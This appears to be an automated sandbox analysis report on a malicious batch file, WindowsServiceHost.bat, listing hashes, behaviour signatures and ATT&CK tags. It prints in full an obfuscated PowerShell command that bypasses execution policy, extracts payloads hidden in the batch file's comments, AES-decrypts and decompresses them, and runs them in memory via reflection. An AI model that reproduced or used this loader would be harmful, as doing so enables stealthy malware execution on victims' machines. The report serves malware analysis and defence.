0a7fd6f7e41112d69cab8548e2eb9b6605c43a31a6d69742588c91e96a23b5e1

Analysis

max time kernel
12s
max time network
19s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
21-01-2025 22:47

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General

Target

WindowsServiceHost.bat
Size

261KB
MD5

14be533a8ded237f42b2ddc0d33b276d
SHA1

7293f45cd1cd11f4917f5a8abbad7fffaadbef7d
SHA256

0a7fd6f7e41112d69cab8548e2eb9b6605c43a31a6d69742588c91e96a23b5e1
SHA512

2fa1c126da6765ab7da7663b98498a299f5d4e4c1e92a155add0040ed3e45b32e5285c88d829dc1b87394e08bf8bdba6e1c62de5c749824c69a576d3981c8b1d
SSDEEP

6144:vGnTkbwrZjfz5/vhQnFZTsEmGTNsqrldr31ITpjnFyAKu+:unQbwlz5/enr/vdOTRnFJV+

Score

6^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2704	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2704	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2704	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1084 wrote to memory of 2704	1084	cmd.exe	31
PID 1084 wrote to memory of 2704	1084	cmd.exe	31
PID 1084 wrote to memory of 2704	1084	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\WindowsServiceHost.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UXWEpd7nUOKlq+WXHTQepEFwM+Cpm4ywcY0Yh+bUqRw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gVgKzo1cs7k4M/3z+UgL1A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fWEZS=New-Object System.IO.MemoryStream(,$param_var); $CzfBd=New-Object System.IO.MemoryStream; $CPqAb=New-Object System.IO.Compression.GZipStream($fWEZS, [IO.Compression.CompressionMode]::Decompress); $CPqAb.CopyTo($CzfBd); $CPqAb.Dispose(); $fWEZS.Dispose(); $CzfBd.Dispose(); $CzfBd.ToArray();}function execute_function($param_var,$param2_var){ $fEGTa=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ruNtC=$fEGTa.EntryPoint; $ruNtC.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\WindowsServiceHost.bat';$DUsFS=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\WindowsServiceHost.bat').Split([Environment]::NewLine);foreach ($nMUEb in $DUsFS) { if ($nMUEb.StartsWith(':: ')) { $fkaFD=$nMUEb.Substring(3); break; }}$payloads_var=[string[]]$fkaFD.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2704

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2704-4-0x000007FEF4ACE000-0x000007FEF4ACF000-memory.dmp

Filesize
4KB

Download
memory/2704-5-0x000000001B310000-0x000000001B5F2000-memory.dmp

Filesize
2.9MB

Download
memory/2704-7-0x000007FEF4810000-0x000007FEF51AD000-memory.dmp

Filesize
9.6MB

Download
memory/2704-6-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/2704-8-0x000007FEF4810000-0x000007FEF51AD000-memory.dmp

Filesize
9.6MB

Download
memory/2704-9-0x000007FEF4810000-0x000007FEF51AD000-memory.dmp

Filesize
9.6MB

Download
memory/2704-10-0x000007FEF4810000-0x000007FEF51AD000-memory.dmp

Filesize
9.6MB

Download
memory/2704-11-0x000007FEF4810000-0x000007FEF51AD000-memory.dmp

Filesize
9.6MB

Download
memory/2704-12-0x000007FEF4810000-0x000007FEF51AD000-memory.dmp

Filesize
9.6MB

Download